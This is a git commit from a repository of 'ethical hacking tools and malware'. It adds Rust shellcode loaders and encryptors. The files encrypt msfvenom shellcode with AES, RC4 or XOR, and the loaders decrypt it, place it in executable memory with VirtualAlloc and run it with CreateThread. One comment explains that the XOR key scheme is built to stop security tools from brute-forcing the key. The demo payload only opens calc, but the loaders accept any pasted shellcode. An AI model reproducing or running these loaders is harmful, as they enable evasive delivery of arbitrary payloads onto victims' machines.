This Repository is a collection of different ethical hacking tools and malware's for penetration testing and research purpose written in python, ruby, rust, c++, go and c.
JavaScript algorithmsartificial-intelligencebugbountycryptographycyber-threat-intelligencecybersecurity-projectsethical-hackinghacking-toolsmalwarenessusnetwork-monitoringnetwork-securitynmapportscannerpythonpythonprojectsthreat-intelligencevirus-scanning
Add files via upload
Abdul Wahab Junaidefbf24d9642f
diff --git a/Rust for Hacking/Encryption Methods/aes_shellcode_exec.rs b/Rust for Hacking/Encryption Methods/aes_shellcode_exec.rsnew file mode 100644index 0000000..82867b9--- /dev/null+++ b/Rust for Hacking/Encryption Methods/aes_shellcode_exec.rs@@ -0,0 +1,96 @@++/*+ Decrypt AES Encryption Shellcode and Executing it !+ Used Crates: libaes , winapi+ For More Codes: https://github.com/Whitecat18/Rust-for-Malware-Development.git+ @5mukx+*/++use std::ptr::null_mut;+use libaes::Cipher;+use winapi::um::{+ errhandlingapi::GetLastError,+ handleapi::CloseHandle,+ memoryapi::VirtualAlloc,+ processthreadsapi::{+ CreateThread, ResumeThread},+ synchapi::WaitForSingleObject,+};+++// declaring macros !!+macro_rules! okey {+ ($msg:expr, $($arg:expr), *) => {+ println!("\\____[+] {}", format!($msg, $($arg), *));+ }+}++macro_rules! error {+ ($msg:expr, $($arg:expr), *) => {+ println!("\\____[-] {}", format!($msg, $($arg), *));+ println!("Exiting...");+ std::process::exit(0);+ }+}++fn main(){+ // msfvenom -p windows/x64/exec CMD=calc.exe -f rust+ // Paste your AES Encrypyed Shellcode+ // Payload Encryption Code is on the Same Repository ...!++ let buf: [u8; 288] = [201, 88, 188, 89, 7, 92, 90, 84, 187, 43, 238, 29, 246, 56, 77, 137, 90, 156, 199, 194, 222, 169, 98, 181, 75, 149, 148, 227,+ 68, 231, 211, 145, 124, 206, 23, 7, 226, 36, 27, 225, 229, 78, 249, 155, 155, 61, 233, 10, 55, 96, 172, 251, 108, 211, 29, 56, 166, 83, 32, 9, 25,+ 157, 14, 169, 139, 149, 194, 177, 168, 219, 179, 117, 134, 18, 225, 152, 128, 76, 13, 145, 86, 213, 222, 255, 234, 199, 97, 128, 118, 158, 171, 202,+ 33, 37, 89, 153, 51, 109, 234, 85, 233, 191, 241, 167, 108, 17, 104, 51, 101, 222, 243, 5, 25, 70, 193, 171, 201, 10, 212, 50, 77, 56, 124, 164, 98,+ 107, 49, 248, 180, 5, 168, 23, 221, 92, 78, 97, 220, 18, 142, 87, 238, 65, 132, 82, 82, 217, 147, 226, 226, 133, 24, 9, 20, 199, 25, 119, 77, 41, 152, 158, 189, 171, 107, 106, 242, 17, 25, 75, 235, 247, 120, 90, 207, 203, 117, 125, 7, 165, 255, 243, 244, 7, 171, 241, 51, 236, 4, 214, 74, 125, 0,+ 57, 7, 217, 132, 217, 16, 164, 54, 139, 99, 8, 35, 86, 197, 177, 143, 160, 140, 100, 17, 113, 230, 176, 8, 28, 14, 253, 73, 188, 43, 135, 56, 206,+ 26, 222, 129, 96, 187, 3, 99, 145, 8, 241, 241, 49, 53, 245, 126, 231, 12, 181, 144, 228, 3, 4, 253, 76, 9, 235, 255, 126, 119, 85, 75, 55, 37, 19,+ 42, 9, 94, 229, 73, 127, 105, 173, 78, 64, 134, 195, 214, 226, 208, 120, 14, 254, 127, 241, 9, 214, 222, 239, 156, 73, 67, 148, 209, 214];++ // PASTE RAW KEYS KEYS+ let key: [u8; 32] = [250, 210, 17, 98, 103, 204, 103, 213, 37, 77, 174, 212, 56, 103, 47, 181, 245, 129, 222, 78, 229, 33, 166, 222, 236, 111, 56, 37, 25, 241, 251, 59];+ // PASTE RAW Initialization Vector (iv)+ let iv: [u8; 16] = [36, 32, 35, 81, 237, 38, 143, 85, 219, 233, 159, 76, 65, 127, 206, 203];+++ let cipher = Cipher::new_256(&key);+ let buf = cipher.cbc_decrypt(&iv, &buf);++ unsafe{+ let address = VirtualAlloc(+ null_mut(),+ buf.len(),+ 0x1000 | 0x2000 , // MEM_COMMIT | MEM_RESERVE+ 0x40,+ );++ if address.is_null(){+ error!("Failed to Allocate Memory: {}",GetLastError());+ }++ okey!("VirtualAlloc: {:?}",address);++ std::ptr::copy(buf.as_ptr(), address as *mut u8, buf.len());++ let hthread = CreateThread(+ null_mut(),+ 0,+ std::mem::transmute(address),+ null_mut(),+ 0x00000004, // CREATE_SUSPEND+ null_mut(),+ );++ if hthread.is_null(){+ error!("Failed to create Thread :{:?}",GetLastError());+ }+ okey!("Thread Addr: {:?}",hthread);++ ResumeThread(hthread);+ okey!("Executed Shellcode ...{}","!");++ WaitForSingleObject(hthread, 0xFFFFFFFF);+ CloseHandle(hthread);++ }+}diff --git a/Rust for Hacking/Encryption Methods/generate_random_aes_keys.rs b/Rust for Hacking/Encryption Methods/generate_random_aes_keys.rsnew file mode 100644index 0000000..f5faeed--- /dev/null+++ b/Rust for Hacking/Encryption Methods/generate_random_aes_keys.rs@@ -0,0 +1,28 @@+/*+Generate Random AES KEY , IV+For More Codes : https://github.com/Whitecat18/Rust-for-Malware-Development.git+@5mukx+*/++use rand::RngCore;+use aes::Aes256;++fn generate_key() -> [u8; 32] {+ let mut key = [0u8; 32];+ rand::thread_rng().fill_bytes(&mut key);+ key+}++fn generate_iv() -> [u8; 16] {+ let mut iv = [0u8; 16];+ rand::thread_rng().fill_bytes(&mut iv);+ iv+}++fn main() {+ let key = generate_key();+ let iv = generate_iv();++ println!("Generated AES key: {:?}", key);+ println!("Generated IV: {:?}", iv);+}diff --git a/Rust for Hacking/Encryption Methods/rc4_shellcode_encrypt.rs b/Rust for Hacking/Encryption Methods/rc4_shellcode_encrypt.rsnew file mode 100644index 0000000..a481f85--- /dev/null+++ b/Rust for Hacking/Encryption Methods/rc4_shellcode_encrypt.rs@@ -0,0 +1,78 @@+/*+ Rc4 Shellcode Encryption+ For More Codes: https://github.com/Whitecat18/Rust-for-Malware-Development.git+ @5mukx+*/++// Reference [WIkiPedia] : https://en.wikipedia.org/wiki/RC4+struct Rc4{+ s: [u8; 256],+ i: usize,+ j: usize,+}++impl Rc4 {+ fn new(key: &[u8]) -> Rc4{+ let mut s = [0u8; 256];+ for i in 0..256{+ s[i] = i as u8;+ }++ // Key Scheduling Algorithm (KSA): Permutation+ let mut j = 0;+ for i in 0..256{+ j = (j + s[i] as usize + key[i % key.len()] as usize) % 256;+ s.swap(i, j);+ }+ Rc4{s,i:0,j:0}+ }++ // Pseudo-random Generation Algorithm (PRGA): Generation of Keystream+ fn apply_keystream(&mut self, data: &mut [u8]){+ for byte in data.iter_mut() {+ self.i = (self.i + 1) % 256;+ self.j = (self.j + self.s[self.i] as usize) % 256;+ self.s.swap(self.i, self.j);+ let t = (self.s[self.i] as usize + self.s[self.j] as usize) % 256;+ *byte ^= self.s[t];+ }+ }+}++fn main(){+ let key = b"This is nerdy .. im the key :)";+ let mut rc4 = Rc4::new(key);++ // repalce your shellcode+ // msfvenom -p windows/x64/exec CMD=calc.exe -f rust+ let mut shellcode: [u8; 276] = [0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,+ 0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,+ 0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,+ 0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,+ 0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,+ 0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,+ 0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,+ 0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,+ 0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,+ 0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,+ 0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,+ 0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,+ 0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,+ 0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,+ 0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,+ 0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,+ 0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,+ 0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,+ 0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,+ 0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,+ 0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,+ 0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,+ 0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,+ 0x2e,0x65,0x78,0x65,0x00];+++ rc4.apply_keystream(&mut shellcode);++ println!("[+] Encrypted Shellcode: {:?}",shellcode);+}+diff --git a/Rust for Hacking/Encryption Methods/rc4_shellcode_exec.rs b/Rust for Hacking/Encryption Methods/rc4_shellcode_exec.rsnew file mode 100644index 0000000..a75df21--- /dev/null+++ b/Rust for Hacking/Encryption Methods/rc4_shellcode_exec.rs@@ -0,0 +1,88 @@++/*+ An POC of Rc4 Encryption Technique+ For More Codes:+ @5mukx+*/++use rc4::{Rc4, KeyInit, StreamCipher};+use winapi::um::{errhandlingapi::GetLastError, handleapi::CloseHandle, memoryapi::VirtualAlloc, processthreadsapi::{CreateThread, ResumeThread}};+use std::ptr::{self, null_mut};+use winapi::um::synchapi::WaitForSingleObject;+++macro_rules! okey {+ ($msg:expr, $($arg:expr), *) => {+ println!("\\_____[+] {}", format!($msg, $($arg), *));+ };+}++macro_rules! error {+ ($msg:expr, $($arg:expr), *) => {+ println!("\\_____[-] {}", format!($msg, $($arg), *));+ println!("Exiting ...");+ std::process::exit(1);+ };+}+fn main(){++ // Encrypted Shellcode here !+ let mut buf = [142, 107, 104, 1, 240, 64, 88, 236, 94, 35, 59, 43, 23, 163, 122, 216, 40, 91, 225, 163,+ 24, 202, 162, 245, 58, 83, 126, 124, 154, 221, 246, 138, 169, 156, 122, 229, 96, 197, 32,+ 154, 184, 228, 37, 246, 97, 159, 100, 21, 176, 235, 208, 102, 118, 149, 129, 227, 214,+ 113, 253, 12, 224, 23, 213, 164, 249, 147, 55, 113, 32, 10, 171, 55, 186, 43, 138, 206,+ 223, 211, 9, 255, 24, 173, 56, 176, 4, 136, 170, 184, 17, 174, 194, 102, 43, 40, 209, 25,+ 195, 9, 35, 255, 225, 61, 179, 248, 23, 172, 15, 75, 224, 142, 66, 206, 197, 159, 44, 132,+ 35, 245, 119, 141, 255, 101, 67, 112, 70, 198, 144, 182, 154, 228, 167, 94, 87, 156, 165,+ 219, 127, 76, 223, 204, 227, 199, 69, 231, 238, 213, 16, 250, 85, 219, 172, 51, 233, 217,+ 191, 140, 80, 204, 70, 80, 182, 70, 45, 59, 79, 154, 5, 74, 119, 200, 145, 37, 21, 44, 205,+ 55, 164, 149, 240, 250, 37, 37, 39, 78, 134, 8, 195, 216, 61, 199, 36, 1, 47, 29, 213, 168,+ 237, 192, 250, 103, 48, 145, 233, 154, 242, 90, 71, 88, 148, 163, 61, 6, 123, 28, 255, 57,+ 120, 56, 206, 208, 74, 36, 183, 190, 184, 95, 86, 76, 141, 151, 99, 59, 233, 47, 178, 249,+ 18, 115, 253, 16, 212, 200, 95, 140, 121, 211, 167, 201, 140, 96, 245, 126, 230, 54, 220,+ 38, 40, 24, 223, 42, 254, 233, 81, 16, 154, 51, 191, 205, 46, 90, 205, 172, 90, 56, 64, 11];++ // key => let key = b"This is nerdy .. im the key :)";+ let mut rc4 = Rc4::new(b"This is nerdy .. im the key :)".into());+ rc4.apply_keystream(&mut buf);+++ // => After this you can use you own Technique to inject the shellcode !+ unsafe{+ let vir_addr = VirtualAlloc(+ null_mut(),+ buf.len(),+ 0x1000 | 0x2000,+ 0x40,+ );++ if vir_addr.is_null(){+ error!("VirAlloc Error, Failed to allocate mem: {}",GetLastError());+ }+ okey!("Allocated Address: {:?}",vir_addr);++ ptr::copy(buf.as_ptr(), vir_addr as *mut u8, buf.len());++ let h_thread = CreateThread(+ null_mut(),+ 0,+ std::mem::transmute(vir_addr),+ null_mut(),+ 0x00000004, // CREATE_SUSPEND+ null_mut(),+ );++ if h_thread.is_null(){+ error!("Failed to create Thread :{:?}",GetLastError());+ }++ okey!("Execution addr: {:?}",h_thread);++ ResumeThread(h_thread);+ okey!("Executed Shellcode ...{}","!");++ WaitForSingleObject(h_thread, 0xFFFFFFFF);+ CloseHandle(h_thread);+ }+}+diff --git a/Rust for Hacking/Encryption Methods/xor_encrypt.rs b/Rust for Hacking/Encryption Methods/xor_encrypt.rsnew file mode 100644index 0000000..875189a--- /dev/null+++ b/Rust for Hacking/Encryption Methods/xor_encrypt.rs@@ -0,0 +1,96 @@+/*+For codes. Visit: https://github.com/Whitecat18/Rust-for-Malware-Development.git+@5mukx+*/++use std::fs::File;+use std::io::Read;+++/*+Default XOR Method+*/++// fn xor(data: &[u8], key: &str) -> Vec<u8>{+// let key_bytes = key.as_bytes();+// let mut output = Vec::with_capacity(data.len());++// for (i, &byte) in data.iter().enumerate(){+// let current_key = key_bytes[i % key_bytes.len()];+// output.push(byte ^ (current_key));+// }+// output+// }+++/* /+----->+There are some tools and security solutions can brute force the key which will expose the decrypted shellcode we can make i+to be an part of the key. with keyspace much larger now, it's more difficult to brute force the key.+----->++/ */++fn xor(data: &[u8], key: &str) -> Vec<u8>{+ let key_bytes = key.as_bytes();+ let mut output = Vec::with_capacity(data.len());++ for (i, &byte) in data.iter().enumerate(){+ let current_key = key_bytes[i % key_bytes.len()];+ output.push(byte ^ current_key.wrapping_add(i as u8));+ }+ output+}++fn xor_encrypt(data: &[u8], key: &str)-> String{+ let ciphertext = xor(data, key);+ let hex_str: Vec<String> = ciphertext.iter().map(|&x| format!("{:02x}",x)).collect();+ format!("{{ 0x{} }};", hex_str.join(", 0x"))+}++// XOR DECRYPT FUNCTION+fn xor_decrypt(data:&mut [u8], key: &[u8]){+ let mut j = 0;+ for i in 0..data.len(){+ if j == key.len() -1{+ j = 0;+ }+ data[i] ^= key[j];+ j += 1;+ }+}+++fn main(){++ let mut plaintext = Vec::new();++ //keys+ let secrect_key = "iamafuckingnerd";+++ if let Ok(mut file) = File::open("./shellcode.bin"){+ if let Ok(_) = file.read_to_end(&mut plaintext){+ let ciphertext = xor_encrypt(&plaintext, secrect_key);+ println!("{}",ciphertext);+ } else {+ eprintln!("Failed to Read File !");+ }+ } else {+ eprintln!("Failed to open File !");+ }+++ // Just an normat Implementation of shellcode on your Payload program !+ // set your payload and pass the keys and shellcode+ //----->++ // Shellcode decrypt methods ..!+ let mut shellcode = [];+ let secrect_key = "iamafuckingnerd";+ xor_decrypt(&mut shellcode, secrect_key.as_bytes());++ // After that your logic what to do with the shellcode !...++ //----->+}